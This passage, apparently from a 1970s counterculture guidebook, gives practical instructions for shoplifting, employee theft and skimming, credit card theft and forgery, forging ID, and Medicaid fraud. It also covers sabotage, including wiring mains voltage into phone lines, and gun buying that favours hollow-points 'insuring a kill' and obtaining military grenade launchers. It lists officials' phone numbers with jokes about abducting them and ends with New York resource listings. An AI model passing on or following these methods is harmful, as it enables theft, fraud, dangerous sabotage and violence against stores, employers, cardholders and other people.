klepto socialite getting kicks or use the "Oh-gee-I-forgot-to-pay" routine. Stores don't want
to hassle going into court to press charges, so they usually let you go after you return the
stuff. If you thought ahead, you'll have some cash ready to pay for the items you've
pocketed, if caught. Leave your I.D. and phone book at home before going shopping. People
rarely go to jail for shoplifting, most if caught never even see a real cop. Just lie like a fucker
and the most you'll get is a lecture on law and order and a warning not to come back to
that store or else.
TECHNIQUES
The lining of a bulky overcoat or loose raincoat can be elaborately outfitted with a variety of
custom-made large pockets. The openings to these pockets are not visible since they are
inside the coat. The outside pockets can be torn out leaving only the opening or slit. Thus
you can reach your hand (at counter level) through the slit in your coat and drop objects
into the secret pockets sewn into the lining. Pants can also be rigged with secret pockets.
The idea is to let your fingers do the walking through the slit in your coat, while the rest of
the body remains the casual browser. You'll be amazed at how much you can tuck away
without any noticeable bulge.
Another method is to use a hidden belt attached to the inside of your coat or pants. The
belt is specially designed with hooks or clothespins to which items can be discretely
attached. Ditching items into hidden pockets requires a little cunning. You should practice
before a mirror until you get good at it.
A good idea is to work with a partner. Dig this neat duet. A man and woman walk into a
store together looking like a respectable husband and wife. The man purchases a good belt
or shirt and engages the salesman in some distracting conversation as he rings up the sale.
Meanwhile, back in the aisle, "wife" is busy rolling up two or three suits. Start from the
bottom while they are still on the rack and roll them up, pants and jackets together, the
way you would roll a sleeping bag. The sleeves are tied around the roll making a neat little
bundle. The bundle is then tucked between your thighs. The whole operation takes about a
minute and with some practice you can walk for hours with a good size bundle between
your legs and not appear like you just shit in your pants. Try this with a coat on in front of a
mirror and see how good you get at it.
Another team method is for one or more partners to distract the sales clerks while the
other stuffs. There are all sorts of theater skits possible. One person can act drunk or
better still appear to be having an epileptic fit. Two people can start a fight with each
other. There are loads of ways, just remember how they do it in the next spy movie you see.
One of the best gimmicks around is the packaging technique. Once you have the target
item in hand, head for the fitting room or other secluded spot. Take out a large piece of gift
wrapping and ribbon. Quickly wrap up the item so it will look like you brought it in with you.
Many stores have their own bags and staple the cash register receipt to the top of the bag
when you make a purchase. Get a number of these bags by saving them if you make a
purchase or dropping around to the receiving department with a request for some bags for
your Christmas play or something. Next collect some sales receipts, usually from the
sidewalk or trash cans in front of the store. Buy or rip-off a small pocket stapler for less
than a dollar. When you get the item you want, drop it in the bag and staple it closed,
remembering to attach the receipt. This is an absolutely perfect method and takes just a
few seconds. It eliminates a lot of unsightly bulges in your coat and is good for
warm-weather heisting.
A dummy shopping bag can be rigged with a bit of ingenuity. The idea is to make it look like
the bag is full when there's still lots of room left. Use strips of cardboard taped to the
inside of the bag to give it some body. Remember to carry it like it's filled with items, not
air. Professional heisters often use a "booster box," usually a neatly wrapped empty
package with one end that opens upon touch. This is ideal for electrical appliances, jewelry,
and even heavy items such as portable television sets. The trick side can be fitted with a
spring door so once the toaster is inside the door slams shut. Don't wear a black hat and
cape and go around waving a wand yelling "Abracadabra," just be your usual shlep shopper
self. If you can manage it, the trick side just can be an opening without a trick door. Just
carry the booster box with the open side pressed against your body. Briefcases, suitcases
and other types of carrying devices can all be made to hold items. Once you have
something neatly tucked away in a bag or box, it's pretty hard to prove you didn't come in
with it.
ON THE JOB
By far the easiest and most productive method of stealing is on the job. Wages paid to
delivery boys, sales clerks, shippers, cashiers and the like are so insulting that stealing
really is a way of maintaining self-respect. If you are set on stealing the store dry when you
apply for the job, begin with your best foot forward. Make what employment agencies call a
"good appearance." Exude cleanliness, Godliness, sobriety and all the other WASPy virtues
third grade teachers insist upon. Building up a good front will eliminate suspicion when
things are "missing."
Mail clerks and delivery boys can work all sorts of neat tricks. When things get a little slow,
type up some labels addressed to yourself or to close friends and play Santa Claus. Wrap
yourself a few packages or take one that is supposed to go to a customer and put your
label over theirs. Blame it on the post office or on the fact that "things get messed up
`cause of all the bureaucracy." It's great to be the one to verbalize the boss's own general
feelings before he does when something goes awry. The best on-the-job crooks always end
up getting promoted.
Cashiers and sales persons who have access to money can pick up a little pocket change
without too much effort, no matter how closely they are watched by supervisors. Women
can make use of torn hems to stash coins and bills. Men can utilize cuffs. Both can use
shoes and don't forget those secret little pockets you learned about in the last section. If
you ring up items on a cash register, you can easily mistake $1.39 for 39¢ or $1.98 for 98¢
during the course of a hectic day. Leave pennies on the top shelf of the cash register and
move one to the far right side every time you skip a dollar. That way at the end of the day,
you'll know how much to pocket and won't have to constantly be stuffing, stuffing, stuffing.
If you pick up trash or clean up, you can stick all sorts of items into wastebaskets and later
sneak them out of the store.
There are many ways of working heists with partners who pose as customers. See the
sections on free food and clothing for these. There are also ways of working partnerships on
the job. A cashier at a movie theater and a doorman can work out a system where the
doorman collects the tickets and returns them to the cashier to sell again.
A neat way to make a large haul is to get a job through an agency as a domestic for some
rich slob. You should use a phony identification when you sign up at the agency. Once you
are busy dusting the town house, check around for anything valuable to be taken home. Pick
up the phone, order all sorts of merchandise, and have it delivered. A friend with a U-haul
can help you really clean up.
CREDIT CARDS
Any discussion of shoplifting and forgeries inevitably leads to a rap on credit cards; those
little shiny plastic wonder passes to fantasy land that are rendering cash obsolete. There
are many ways to land a free credit card. You can get one yourself if your credit is good, or
from a friend: report it stolen and go on a binge around town. Sign your name a little funny.
Super underworld types might know where you can purchase a card that's not too hot on
the black market. You might heist one at a fashionable party or restaurant. If you're a hat
check girl at a night club, don't forget to check out pockets and handbags for plastic
goodies.*
Finally, you can redo a legitimate card with a new number and signature and be sure that
it's on no one's "hot list." Begin by removing the ink on the raised letters with any polyester
resin cleaner. Next, the plastic card should be held against a flat iron until the raised
identification number is melted. You can use a razor blade to shave off rough spots. This
combination of razor blade and hot iron, when worked skillfully, will produce a perfect blank
card. When the card is smooth as new, reheat it using the flat iron and press an
addressograph plate into the soft plastic. The ink can be replaced by matching the original
at any stationary store. If this is too hard, you can buy machines to make your own credit
cards, which are made for small department stores. Granted, this method is going require
some expertise, but once you've learned to successfully forge a credit card, buy every item
imaginable, eat fancy meals, and even get real money from a bank.
*The absolute best method is to have an accomplice working in the post office rip off the
new cards that are mailed out. They get to know quickly which envelopes contain new credit
cards. Since the person never receives the card it never dawns on them to report it stolen.
This gives you at least a solid month of carefree spending and your signature will be
perfect.
Whether your credit card is stolen, borrowed or forged, you still have to follow some
guidelines to get away without any hassle. Know the store's checking method before you
pass the hot card. Most stores have a fifty-dollar limit where they only call upstairs on
items costing fifty dollars or more. In some stores it's less. Some places have a Regiscope
system that takes your picture with each purchase. You should always carry at least one
piece of back-up identification to use with the phony card as the clerk might get suspicious
if you don't have any other ID. They can check out a "hot list" that the credit card
companies send out monthly, so if you're uptight about anything watch the clerk's
movements at all times. If things get tight, just split real quick. Often, even if a clerk or
boss thinks it's a phony, they'll OK the sale anyway since the credit card companies make
good to the stores on all purchases; legit or otherwise. Similarly, the insurance companies
make good to the credit companies and so on until you get to a little group of hard working
elves in the basement of the U.S. Mint who do nothing but print free money and lie to
everybody about there being tons of gold at Fort Knox to back up their own little forging
operation.
Monkey Warfare
If you like Halloween, you'll love monkey warfare. It's ideal for people uptight about guns,
bombs and other children's toys, and allows for imaginative forms of protesting, many of
which will become myth, hence duplicated and enlarged upon. A syringe (minus the needle)
or a cooking baster can be filled with a dilute solution of epoxy glue. Get the two tubes in a
hardware store and squeeze into a small bottle of rubbing alcohol. Shake real good and
pour into the baster or syringe. You have about thirty minutes before the mixture gets too
hard to use. Go after locks, parking meters, and telephones. You can fuck up the companies
that use IBM cards by buying a cheap punch or using an Exacto knife and cutting an extra
hole in the card before you return it with your payment. By the way, when you return
payments always pay a few cents under or over. The company has to send you a credit or
another bill and it screws up their bookkeeping system. Remember, always bend, fold,
staple or otherwise mutilate the card. By the way if you ever find yourself in a computer
room during a strike, you might want to fuck up the school records. You can do this by
passing a large magnet or portable electro-magnet rapidly back and forth across the reels
of tape, thus erasing them. And don't miss the tour of the IBM plant, either.
Another good bit is to rent a safe deposit box (only about $7.00 a year) in a bank using a
phony name. That usually only need a signature and don't ask for identification. When you
get a box, deposit a good size dead fish inside the deposit box, close it up and return it to
its proper niche. From then on, forget about it. Now think about it, in a few months there is
going to be a hell-of-a-smell from your small investment. It's going to be almost impossible
to trace and besides, they can never open the box without your permission. Since you don't
exist, they'll have no alternative but to move away. Invest in the Stank of Amerika savings
program. Just check out Lake Erie and you'll see saving fish isn't such a dumb idea. If you
get caught, tell them you inherited the fish from your grandmother and it has sentimental
value.
There are lots of things you can send banks, draft boards and corporations that contribute
to pollution via the mails. It is possible to also have things delivered. Have a hearse and
flowers sent to the chief of police. We know someone who had a truckload of cement
dumped in the driveway of her boss under the fib that the driveway was going to be
repaved.
By getting masses of people to use electricity, phones or water at a given time, you can
fuck up some not-so-public utility. The whole problem is getting the word out. For example,
10,000 people turning on all their electrical appliances and lights in their homes at a given
time can cause a blackout in any major city. A hot summer day at about 3:00 PM is best.
Five thousand people calling up Washington, D.C. at 3:00 PM on a Friday (one of the
busiest hours) ties up the major trunk lines and really puts a cramp in the government's
style of carrying on. Call (202) 555-1212, which is information and you won't even have to
pay for the call. If you call a government official, ask some questions like "How many kids
did you kill today?" or "What kind of liquor do Congressmen drink?" or offer to take Teddy
Kennedy for a ride. A woman can cause some real excitement by calling a Congressman's
office and screaming "Tell that bastard he forgot to meet Irene at the motel this
afternoon."
A Washington call-in would work even better by phoning direct to homes of the big boys.
For starters you can call collect the following*:
Richard M. Nixon - El Presidente - (202) 456-1444
Spiro T. Agnew - El Toro - (202) 265-2000 ext. 6400
John N. Mitchell - El Butcher - (202) 965-2900
Melvin R. Laird - El Defendo - (301) 652-4449
Henry A. Kissinger - El Exigente - (202) 337-0042
William P. Rogers - El Crapper - (301) 654-7125
General Earl G. Wheeler - El Joint Bosso - (703) 527-6119
General William C. Westmoreland - El Pollutoni - (703) 527-6999
Richard M. Helms - El Assassin - (301) 652-4122
John N. Chafee-El Sinko Swimmi-(703) 536-5411
*Any group who elopes with any of the persons listed is entitled to a free copy of this book.
Anyone who parlays all 10 in a lift-off can have all the royalties. Send ears for verification.
A great national campaign can be promoted that asks people to protest the presidential
election farces on Inauguration Day. When a president says "So help me God," rush in and
flush the toilet. A successful Flush for God campaign can really screw up the water system.
If you want to give Ma Bell an electric permanent, consider this nasty. Cut the female
device off an ordinary extension cord and expose the two wires. Unscrew the mouthpiece
on the phone and remove the voice amplifier. You will see a red and a black wire attached
to two terminals. Attach each of the wires from the extension cord to each one from the
phone. Next plug in the extension cord to a wall socket. What you are doing is sending 120
volts of electricity back through equipment which is built for only volts. You can knock off
thousands of phones, switchboards and devices if all goes right. It's best to do this on the
phone in a large office building or university. You certainly will knock out their fuses.
Unfortunately, at home your own phone will probably be knocked out of commission. If that
happens, simply call up the business office and complain. They'll give you a new phone just
the way they give the other seven million people that requested them that day.
Remember, January is Alien Registration Month, so don't forget to fill out an application at
the Post Office, listing yourself as a citizen of Free Nation. Then when they ask you to "Love
it or leave it," tell them you already left!
Piece Now
It's ridiculous to talk about a revolution without a few words on guns. If you haven't been in
the army or done some hunting, you probably have a built-in fear against guns that can only
be overcome by familiarizing yourself with them.
HANDGUNS
There are two basic types of handguns or pistols: the revolver carries a load of 5 or 6
bullets in a "revolving" chamber. The automatic usually holds the same number, but some
can hold up to 14 bullets. Also, in the automatic the bullets can be already packed in a
magazine which quickly snaps into position in the handle. The revolver must be reloaded
one bullet at a time. An automatic can jam on rare occasions, or misfire, but with a revolver
you just pull the trigger and there's a new bullet ready to fire. Despite pictures of Roy
Rogers blasting a silver dollar out of the sky, handguns are difficult to master a high degree
of accuracy with and are only good at short ranges. If you can hit a pig-size object at 25
yards, you've been practicing.
Among automatics, the Colt 45 is a popular model with a long record of reliability. A good
popular favorite is a Parabellum 9 mm, which has the advantage of a double action on the
first shot, meaning that the hammer does not have to be cocked, making possible a quick
first shot without carrying a cocked gun around. By the way, do not bother with any
handgun smaller than a .38 caliber, because cartridges smaller than that are too weak to
be effective.
Revolvers come in all sizes and makes, as do automatics. The most highly recommended
are the .38 Special and the .357 Magnum. Almost all police forces use the .38 Special. They
are light, accurate and the small-frame models are easy to conceal. If you get one, use high
velocity hollow pointed bullets, such as the Speer DWM (146 grain h.p.) or the Super Vel
(110 grain h.p.). The hollow point shatters on contact, insuring a kill to the not-so-straight
shooters. Smith and Wesson makes the most popular .38 Special. The Charter Arms is a
favorite model. The .357 Magnum is an extremely powerful handgun. You can shoot right
through the wall of a thick door with one at a distance of 20 yards. It has its own ammo,
but can also use the bullets designed for the .38. Both guns are about the same in price,
running from $75-$100 new. An automatic generally runs about $25 higher.
RIFLES
There are two commonly available types of rifles; the bolt action and the semi-automatic.
War surplus bolt action rifles are cheap and usually pretty accurate, but have a slower rate
of fire than a semi-automatic. A semi-automatic is preferable in nearly all cases. The M-1
carbine is probably the best semi-automatic for the money (about $80). It's light, short,
easy to handle and has only the drawback of a cartridge that's a little underpowered.
Among bolt actions, the Springfield, Mauser, Royal Enfield, Russian 7.62, and the Lee
Harvey Oswald Special, the Mannlicher-Carcano, are all good buys for the money (about
$20).
One of the best semi-automatics is the AR-18, which is the civilian version of the military
M-16. In general, this is a fantastic gun with a high rate of fire, minimal recoil, high
accuracy, light weight, and easy maintenance. If kept clean, it will rarely jam, and the bullet
has astounding stopping power. It sells for around $225.
SHOTGUNS
The shotgun is the ideal defensive weapon. It's perfect for the vamping band of pigs or
hard-heads that tries to lynch you. Being a good shot isn't that necessary because a
shotgun shoots a bunch of lead pellets that spread over a wide range as they leave the
barrel. There are two common types: the pump action and the semi-automatic. Single shot
types and double-barrel types do not have a high enough rate of fire for self-defense.
The pump action is easy to use and reliable. It usually holds about five shells in a tube
underneath the barrel. For self-defense you should use 00 buckshot shells. Shotguns come
in various gauges, but you will want the largest commonly available, the 12 gauge. The
Mossberg Model 500 A is a super weapon in this category which sells for about $90. When
buying one, try to get a shotgun with a barrel as short as possible up to the legal limit of 18
inches. It is easy to cut down a longer barrel, too. This increases the area sprayed.
The semi-automatic gun is not used too much for self-defense, as they usually hold only
three shells. With some practice, you can shoot a pump nearly as fast as a semi-automatic,
and they are much cheaper. See the gun books catalogued in the Appendix for more
information.
There are many other good guns available, and a great deal to know about choosing the
right gun for the right situation. Reading a little right wing gun literature will help.
OTHER WEAPONS
If you are around a military base, you will find it relatively easy to get your hands on an
M-79 grenade launcher, which is like a giant shotgun and is probably the best self-defense
weapon of all time. Just inquire discreetly among some long-haired soldiers.
TRAINING
Owning a gun ain't shit unless you know how to use it. They make a hell of a racket when
fired so you just can't work out in your den or cellar except with a BB gun, which is good in
between real practice sessions. Find a buddy who served in the military or is into hunting or
target-shooting and ask him to teach you the fundamentals of gun handling and safety. If
you're over 18, you can practice on one of your local firing ranges. Look them up in the
Yellow Pages, call and see if they offer instructions. They are usually pretty cheap to use. In
an hour, you can learn the basics you need to know about guns and the rest is mostly
practice, practice, just like in the westerns. Contact the National Rifle Association,
Washington D.C. and ask for information on forming a gun club. If you can, you are entitled
to great discounts, have no trouble using ranges and get excellent info on all matters
relating to weapons.
A secluded place in the country outside city limits, makes an ideal range for practicing.
Shoot at positioned targets. A good idea is to blow up balloons and attach them to pieces
or boxes. Position yourself downstream alongside a running brook. A partner can go
upstream and release the balloons into the water. As they rush downstream, they simulate
an attacker charging you and make excellent moving targets. Watch out for ricochetting
bullets. Have any bystander stand by behind you. A clothesline with a pulley attachment
can be rigged up to also allow practice with a moving target.
GUN LAWS
Once you decide to get a gun, check out the local laws. There are federal ones, but they're
not stricter than any state ordinance. If you're unsure about the laws, send 75¢ to the U.S.
Government Printing Office for the manual called Published Ordinances: Firearms. It runs
down the latest on all state laws. In most states you can buy a rifle or shotgun just for the
bread from a store or individual if you are over 18 years old. You can get a handgun when
you can prove you're over 21, although you generally need a special permit to carry it
concealed on your person or in your car. A concealed weapon permit is pretty hard to get
unless you're part of the establishment. You can keep a handgun in your home, though. It's
also generally illegal to walk around with a loaded gun of any type. Once you get the hang of
using a gun, you'll never want to go back to the old peashooter.
The Underground
Amerika is just another Latin dictatorship. Those who have doubts, should try the minimal
experience of organizing a large rock festival in their state*, sleeping on some beach in the
summer or wearing a flag shirt. Ask the blacks what it's been like living under racism and
you'll get a taste of the future we face. As the repression increases so will the
underground-deadly groups of stoned revolutionaries sneaking around at night and balling
all day. As deadly as their southern comrades the Tupamaros. Political trials will only occur
when the heavy folks are caught. Too many sisters and brothers have been locked up for
long stretches having maintained a false faith in the good will of the court system. Instead,
increased numbers have chosen to become fugitives from injustice: Bernadine Dohrn, Rap
Brown, Mark Rudd, hundreds of others. Some including Angela Davis, Father Berrigan and
Pun Plamondon have been apprehended and locked in cages, but most roam freely and
actively inside the intestines of the system. Their growth leads to persistent indigestion for
those who sit at the tables of power. As they form into active isolated cells they make
apprehension difficult. Soon the FBI will have a Thousand Most Wanted List. Our heroes will
be hunted like beasts in the jungle. Anyone who provides information leading to the arrest
of a fugitive is a traitor.
*Unless you want to use our music to attack our politics as the governor of Oregon did to
drain support away from demonstrations against the AmeriKKKan Legion. In such a
situation the concert should be sabotaged along with political education as to why such an
action has been taken. Don't let the pigs separate our culture from our politics.
Well fellow reader, what will you do when Rap or Bernadine call up and ask to crash for the
night? What if the Armstrong Brothers want to drop some acid at your pad or Kathy
Boudin needs some bread to keep on truckin'? The entire youth culture, everyone who
smiles secretly when President Agnew and General Mitchell refer to the growing number of
"hot-headed revolutionaries", all the folks who hope the Cong wins, who cheer the
Tupamaros on, who want to exchange secret handshakes with the Greek resistance
movement, who say "It's about time" when the pigs get gunned down in the black
community, all of us have an obligation to support the underground. They are the vanguard
of our revolution and in a sense this book is dedicated to their courage.
If you see a fugitive's picture on the post office wall take it home for a souvenir. But watch
out, because this is illegal. Soon the FBI will be printing all our posters for free. Right on,
FBI! Print up wanted posters of the war criminals in Washington and undercover agents (be
absolutely sure) and put them up instead. Since the folks underground move freely among
us, we must be totally cool if by chance we recognize a fugitive through their disguise. If
they deem it necessary to contact you, they will make the first move. If you are very active
in the aboveground movement, chances are you are being watched or tapped and it would
be foolhardy to make contact. The underground would be meaningless without the building
of a massive community with corresponding political goals. People above ground
demonstrate their love for fugitives by continuing and intensifying their own commitment.
If the FBI or local subversive squad of the police department is asking a lot of questions
about certain fugitives, get the word out. Call your underground paper or make the
announcement at large movement gatherings or music festivals; the grapevine will pass
information on to those that need to know.
If you're forced to go underground, don't think you need to link up with the more well-known
groups such as the Weathermen. If you go under with some close friends, stick together if
it's possible. Build contacts with aboveground people that are not that well known to the
authorities and can be totally trusted.
You should change the location in which you operate and move to a place where the heat on
yon won't be as heavy. A good disguise should be worked out. The more information the
authorities have on you and the heavier the charges determine how complete your disguise
should be. There are some good tips in the books on make-up listed in the Appendix. Only in
rare cases is it necessary to abandon the outward appearance of belonging to the youth
culture. In fact, even J. Edgar Freako admits that our culture is our chief defense. To
infiltrate the youth culture means becoming one of us. For an FBI agent to learn an
ideological cover is a highly disciplined organization is relatively easy. To penetrate the
culture means changing the way they live. The typical agent would stand out like Jimmy
Stewart in a tribe of Apaches.
In the usual case the authorities do not look for a fugitive in the sense of carrying on a
massive manhunt. Generally, people are caught for breaking some minor offense and during
the routine arrest procedure, their fingerprints give them away. Thus for a fugitive having
good identification papers being careful about violations such as speeding or loitering, and
not carrying weapons or bombing manuals become an important part of the security. It is
also a good idea to have at least a hundred dollars cash on you at all times. Often even if
you are arrested you can bail yourself out and split long before the fingerprints or other
identification checks are completed.
If by some chance you are placed on the "10 Most Wanted List" that is a signal that the
FBI are indeed conducting a manhunt. It is also the hint that they have uncovered some
clues and feel confident they can nab you soon. The List is a public relations gimmick that
Hooper, or whatever his name is, dreamed up to show the FBI as super sleuths, and
compliment the bullshit image of them that Hollywood lays down. Most FBI agents are
southerners who majored in accounting or some other creative field. When you are placed
on the List, go deeper underground. It may become necessary to curtail your activities for
a while. The manhunt lasts only as long as you are newsworthy since the FBI is very media
conscious. Change your disguise, identification and narrow your circle of contacts. In a few
months, when the heat is off, you'll be able to be more active, but for the time, sit tight.
IDENTIFICATION PAPERS
An amateur photographer or commercial artist with good processing equipment can make
passable phony identification papers. Using a real I.D. card, mask out the name, address,
and signature with thin strips of paper the same color as the card itself. Do a neat gluing
job. Next, photograph the card using bright overhead lighting to avoid shadows, or xerox it.
Use a paper of a color and weight as close to the real thing as you can get. If you use phony
state and city papers such as birth certificate or driver's license, choose a state that is far
away from the area in which you are located. Have a complete understanding of all the
information you are forging. Dates, cities, birthdays and other data are often part of a
coding system. Most are easy to figure out simply by studying a few similar authentic
cards.
Almost all I.D. cards use one or another IBM Selectric type to fill in the individual's papers.
You can buy the exact model used by federal and state agencies for less than $20.00 and
install the ball in 5 seconds on any Selectric machine. When you finish the typing operation,
sign your new name and trim the card to the size you want. Rub some dirt on the card and
bend it a little to eliminate its newness.
Another method is to obtain a set of papers from a close friend of similar characteristics.
Your friend can replace the originals without too much trouble. In both cases it might be
advisable to get authentic papers using the phonies you have in your possession. In some
states getting a license or voting registration card is very easy. Library cards and other
supplementary I.D.'s are simple to get. A passport should not be attempted until you
definitely have made up your mind to split the country. That way agencies have less time to
check the information and you can decide on the disguise to be used for the picture.
Unless you expect to get hotter than you are right now, in which case, get it now.
It is wise to have two sets of identification to be on the safe side but never have both in
your possession at the same time. If you sense the authorities are close to mailing you and
choose to go underground, prepare all the identification papers well in advance and store
them in a secure place. Inform no one of your possible new identity.
Before you start passing phony I.D.'s to cops, banks and passport offices, you should have
experience with lesser targets so you feel comfortable using them. There are stiff penalties
for this if you get caught. A few better methods than the ones listed above exist, but we
feel they should not be made this public. With a little imagination you'll have no trouble.
Dig!
COMMUNICATION
Living underground, like exile, can be extremely lonely, especially during the initial
adjustment period when you have to reshuffle your living habits. Psychologically it becomes
necessary to maintain a few close contacts with other fugitives or folks aboveground. This is
also necessary if you plan to continue waging revolutionary struggle. This means
communication. If you contact persons or arrange for them to contact you, be super cool.
Don't rush into meetings. Stay OFF the phone! If you must, use pay phones. Have the
contact person go to a prescribed booth at prescribed time. Knowing the phone number
beforehand, you can call from another pay phone. The pay phone system is superior to
debugging devices and voice scramblers. Even so, some pay phones, that local police
suspect bookies use, are monitored.
Keep your calls short and disguise your voice a bit. If you are a contact and the call does
not come as scheduled, don't panic. Perhaps the booth at the other end is occupied or the
phone you are on is out of order. In New York, the latter is usually true. Wait a reasonable
length of time and then go about your business. Another contact will be made. Personal
rendezvous should take place at places that are not movement hangouts or heavy pig
scenes. Intermediaries should be used to see if anyone was followed. Just groove on a few
good spy flicks and you'll figure it all out.
Communicating to masses of people above ground is very important. It drives the MAN
berserk and gives hope to comrades in the struggle. The most important message is that
you are alive, in good spirits and carrying on the struggle. The communications of the
Weathermen are brilliantly conceived. Develop a mailing list that you keep well hidden in
case of a bust. You can devise a system of mailing stuff in envelopes (careful of fingerprints)
inside larger envelopes to a trusted contact who will mail the items from another location
to further camouflage your area of operation. A host of communication devices are
available besides handwritten notes and typed communications. Tape recorders are
excellent but better still are video-tape cassette machines. You can wear masks, do all
kinds of weird theatrical stuff and send the tapes to television stations. At times you might
want to risk being interviewed by a newsman, but this can be very dangerous unless you
conceive a super plan and have some degree of trust in the word of the journalist. Don't
forget a grand jury could be waiting for him with a six months contempt or perjury charge
when he admits contact and does not answer their questions.
The only other advice is to dress warm in the winter and cool in the summer, stay high and.
LIBERATION!
fuck new york
HOUSING
You can always sleep up in Central Park during the daytime, although the muggers come
out to play at night. Free night crashing can be found in the waiting room of the
Pennsylvania Railroad station, 34th St. and 7th Ave. The cops will leave you alone until
about 7:00 AM when they kick you out. You can put your rucksack in a locker for twenty-five
cents to avoid it being ripped-off.
The Boys Emergency Shelter, 69 St. Marks Place, (777-1234) provides free room and
board for males 16-20 years of age. The Living Room can be found on the same block. It's a
heavy religious scene, but they will help with room and board. Their hours are 6:30 PM to
2:00 AM, phone 982-5988. Also on the Lower East Side is the Macauley Mission at 90
Lafayette St.
On the West Side, there's a poet named Delworth at 125 Sullivan St. that houses kids if
he's got room. The Judson Memorial Church, Washington Square South always has one or
more housing programs going. If you're really hard up, try the Stranded Youth Program,
111 W. 31st St. (554-8897). Teenagers 16-20 are sent home; if you don't want to go back
but need room and board, give them phony identification.
The Graymoor Monastery (CA 6-2388) offers free room and board for young people in the
country. They provide transportation.
FOOD
Hunt's Point Market, Hunt's Point Ave. and 138th St. in the Bronx will lay enough fruit and
vegetables on your family to last a week or more. Lettuce, squash, carrots, cantaloupe,
grapefruit, even artichokes and mushrooms all crated. You'll need a car or truck and they
only give stuff away in the early morning. Just tell them you're doing a free food thing and
it's yours. Outasight!
The large slaughterhouse area is in the far West Village, west of Hudson and south of 14th
St. Get a letter from a clergyman saying you need meat for a church-sponsored meal.
The fish market is located on Fulton and South Streets under the East River Drive overpass
in lower Manhattan. You can always manage to find some sympathetic fisherman early in
the morning who will lay as much fish on you as you can cart away.
If you pick up on a car, take a trip to Long Island City. There you will find the Gordon Baking
Company at 42-25 21st, Pepsi Cola at 4602 Fifth Ave., Borden Company at 35-10 Steinway
St. and Dannon Yogurt at 22-11 38th Ave. All four places give out samples for free if you
call or write ahead and explain how it's for a block party.
Along 2nd and 3rd Avenues on the upper east side are a host of swank bars with free
hors-d'oeuvres beginning at five. All Longchamps are good, as is Max's Kansas City.
For real class, check the back pages of the New York Times for ocean cruises and those
swinging bon voyage parties. If you look kind of straight or want to disguise yourself and see
the other half at it, sneak into conventions for drinks, snacks and all kinds of free samples.
Call the New York Convention Bureau, 90 E. 42nd St. MU 7-1300 for info. You can also get
free tickets to theater events here at 9:00 AM on weekdays.
Other free meals can be gotten at the various missions.
Bowery Mission - 227 Bowery (674-3456). Pray and eat from 4:00 to 6:00 PM only.
Heavy religious orientation.
Catholic Worker - 36 E. First St. Soup line from 10:00 to 11:00 AM. Clothes for
women on Thursday from 12:00 to 2:00 PM. Clothes for men after 2:00 PM weekdays.
Sometimes lodging.
Holy Name Center for Homeless Men - 18 Bleeker St. (CA 6-5848 or CA 6-2338)
Clothes and morning showers from 7:00 to 11:00 AM.
Macauley Mission - 90 Lafayette St. (CA 6-6214) Free room and board. Free food
Saturdays at 5:00 PM. Sometimes free clothes.
Moravian Church - 154 Lexington Ave. (MU 3-4219 or 533-3737) Free spaghetti
dinner on Tuesday at 1:00 PM.
Quakers - 328 E. 15th St. Meals at 6:00 PM Tuesdays.
Wayward - 287 Mercer St. Free meals nightly.
The International Society For Krishna Consciousness is located at 41 Second Ave. Every
morning at 7:00 AM a delicious cereal breakfast is served free along with chanting and
dancing. Also at noon, more food and chanting and on Monday, Wednesday and Friday at
7:00 PM, again food and chanting. Then it's all day Sunday in Central Park Sheepmeadow
(generally) for still more chanting (sans food). Hari Krishna is the freest high going if you
can get into it and dig cereal and of course, more chanting.
The Paradox Restaurant, at 64 E. 7th St. is a neat cheap health joint that will give you a
free meal if you help peel shrimp or do the dishes.
MEDICAL CARE
The latest dope on family planning and the new abortion law can be obtained from Planned
Parenthood, 300 Park Ave. (777-2015). They provide a free directory on city-wide services
in this area. The Black Panther Free Health Clinic on 180 Sutter Ave. in Brooklyn is radical
medicine in action. If you ripped off this book, why not send them or another group
mentioned in this book a check so they can continue serving the people. Two fantastic
clinics on the Lower East Side are the St. Marks People's Clinic at 44 St. Marks Place
(533-9500), open weekdays 6-10 PM and NENA at 290 E. Third St. (677-5040) which also
functions as a switchboard for the area.
The Beth Israel Teenage Clinic at 17th St. and 1st Ave. 673-3000 ext. 2424) services young
people. Millie at the Village Project, 88 2nd Ave. can arrange for free glasses. The New York
University Dental Clinic, 421 First Ave. will give you the cheapest dental care in Gotham.
Stuyvesant-Poly Clinic, 137 Second Ave. (674-0232) has an emergency day clinic with the
quickest service. Dial-a-freakout is 324-0707. Ambulance service is at 440-1234. You ought
to know the cops accompany ambulance calls. The following is a list of the New York City
Health Department Centers. They provide a number of free services including X-rays,
venereal examinations and treatment, shots for children's diseases, vaccinations, tetanus
shots and a host of other services.
Manhattan
Central Harlem-2238 Fifth Ave. AU 3-1900
East Harlem-158 E. 115th St. TR 6-0300
Lower East Side-341 E. 25th St. MU 9-6353
Manhattanville-21 Old Broadway MO 5-5900
Morningside-264 W. 118th St. UN6-2500
Washington Heights-600 W. 168th St. WA 7-6300
Bronx
Morrisania- 1309 Fulton St. WY 2-4200
Mott Haven-349 E. 140th St. MO 9-6010
Tremont-Fordham-1826 Arthur Ave. LU 3-5500
Westchester-Pelham-2527 Glebe Ave. SY 2-0100
Brooklyn
Bedford-485 Throop Ave. GL 2-7880
Brownsville-259 Briston St. HY 8-6742
Bushwick-335 Central Ave. HI 3-5000
Crown Heights-1218 Prospect Place SL 6-8902
Flatbush-Gravesend-1601 Ave. S NI 5-8280
Ft. Greene-295 Flatbush Ave. Ext. 643-8934
Red Hook-Gowanus-250 Baltic St. 643-5687
Sunset Park-514 49th St. GE 6-2800
Williamsburg-Greenpoint-151 Mayier St. EV 8-3714
Queens
Astoria-Maspeth-12-1631st Ave. L.I.C. AS 8-5520
Corona-Flushing-34-33 Junction Blvd., Jackson Heights HI 6-3570
Jamaica-90-37 Parsons Blvd. OL 8-6600
Rockaway-67-10 Rockaway Beach Blvd.; Arvenne NE 4-7700
Richmond-51 Stuyvesant Place SA 7-6000
The key to getting overall medical care for free is to pick up on a Medicaid card. You can
apply at any metropolitan hospital. After filling out a long form and waiting three weeks
you'll get your card in the mail. Have a good story when interviewed about why you're not
working or only making under $2900 a year. There is an age limit in that only folks over 21
can qualify, but the rule is liberally enforced and younger people can get the card with the
right hardship story.
LEGAL AID
The Lawyer's Commune is a group of revolutionary young lawyers pledged to make a limited
income and handle the toughest political cases. They handle all our cases. Find them at
640 Broadway on the fifth floor (677-1552).
New York radicals are fortunate in having a number of good legal assistance agencies. One
of the following is bound to be able to help you out of a jam.
Emergency Civil Liberties Committee-25 E. 26th St. 683-8120 (civil liberties)
